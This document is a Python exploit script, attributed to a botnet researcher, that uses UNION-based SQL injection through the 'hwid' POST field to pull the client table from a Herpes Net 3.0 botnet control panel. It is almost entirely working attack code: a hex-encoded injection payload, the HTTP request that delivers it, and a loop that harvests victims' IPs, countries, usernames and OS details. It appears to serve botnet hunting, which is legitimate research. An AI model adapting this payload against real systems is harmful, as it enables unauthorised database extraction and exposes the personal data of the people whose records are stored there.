Herpes Net 3.0 SQL Injection

`import random  
import pycurl  
import urllib  
import cStringIO  
import json  
  
  
def _u(i):  
try:  
return unicode(i, errors='ignore')  
except:  
return i  
  
  
class HerpesNetPanel:  
def __init__(self, gateway_url):  
self.gateway_url = gateway_url  
  
@staticmethod  
def _get_field(gateway, table, column, row):  
prefix = ""  
while len(prefix) < 6:  
prefix += random.choice(['1', '2', '3', '4', '5', '6', '7', '8', '9'])  
  
bot_id = "' AND 1=2 UNION ALL SELECT 0x" + ("' AND 1=2 UNION ALL SELECT 1,2," + column + ",'" +  
prefix + "',5 FROM " + table + " LIMIT 1 OFFSET " +  
str(row) + " -- --").encode("hex") + ",2,3,4,5,6,7,8,9 -- --"  
  
buf = cStringIO.StringIO()  
c = pycurl.Curl()  
params = urllib.urlencode({'hwid': bot_id})  
c.setopt(pycurl.USERAGENT, "74978b6ecc6c19836a17a3c2cd0840b0")  
c.setopt(c.POSTFIELDS, params)  
c.setopt(c.URL, gateway)  
c.setopt(c.WRITEFUNCTION, buf.write)  
c.setopt(pycurl.CONNECTTIMEOUT, 10)  
c.setopt(pycurl.TIMEOUT, 10)  
c.perform()  
  
command = buf.getvalue()  
try:  
if command[-(len(prefix) + 1):] == "|" + prefix:  
return command[:-(len(prefix) + 1)]  
except:  
return None  
return None  
  
def get_all_bot_details(self):  
count = 0  
bots = []  
while True:  
user = _u(self._get_field(self.gateway_url, 'clients', 'hwid', count))  
if user is None:  
break  
bots.append({'hwid': _u(user),  
'ip': _u(self._get_field(self.gateway_url, 'clients', 'ip', count)),  
'cc': _u(self._get_field(self.gateway_url, 'clients', 'cc', count)),  
'time': _u(self._get_field(self.gateway_url, 'clients', 'time', count)),  
'userandpc': _u(self._get_field(self.gateway_url, 'clients', 'userandpc', count)),  
'admin': _u(self._get_field(self.gateway_url, 'clients', 'admin', count)),  
'os': _u(self._get_field(self.gateway_url, 'clients', 'os', count)),  
'status': _u(self._get_field(self.gateway_url, 'clients', 'status', count)),  
'id': _u(self._get_field(self.gateway_url, 'clients', 'id', count))})  
count += 1  
return bots  
  
  
def print_help():  
print("usage: herpesnet.class.py [-h] url-of-run.php")  
print("")  
print("Herpes Net 3.0 Database Extraction")  
print("Gathering information via SQLi from Herpes Net 3.0 botnets")  
print("By Brian Wallace (@botnet_hunter)")  
print("")  
print(" url-of-run.php URL of run.php in the Herpes Net panel")  
print(" -h --help Print this message")  
print("")  
  
  
if __name__ == "__main__":  
from argparse import ArgumentParser  
  
parser = ArgumentParser(add_help=False)  
parser.add_argument('run', metavar='run', type=str, nargs='?', default=None)  
parser.add_argument('-h', '--help', default=False, required=False, action='store_true')  
parser.add_argument('-v', '--verbose', default=False, required=False, action='store_true')  
  
args = parser.parse_args()  
  
if args.help or args.run is None:  
print_help()  
exit()  
  
h = HerpesNetPanel(args.run)  
print json.dumps(h.get_all_bot_details(), sort_keys=True, indent=4, separators=(',', ': '))  
  
`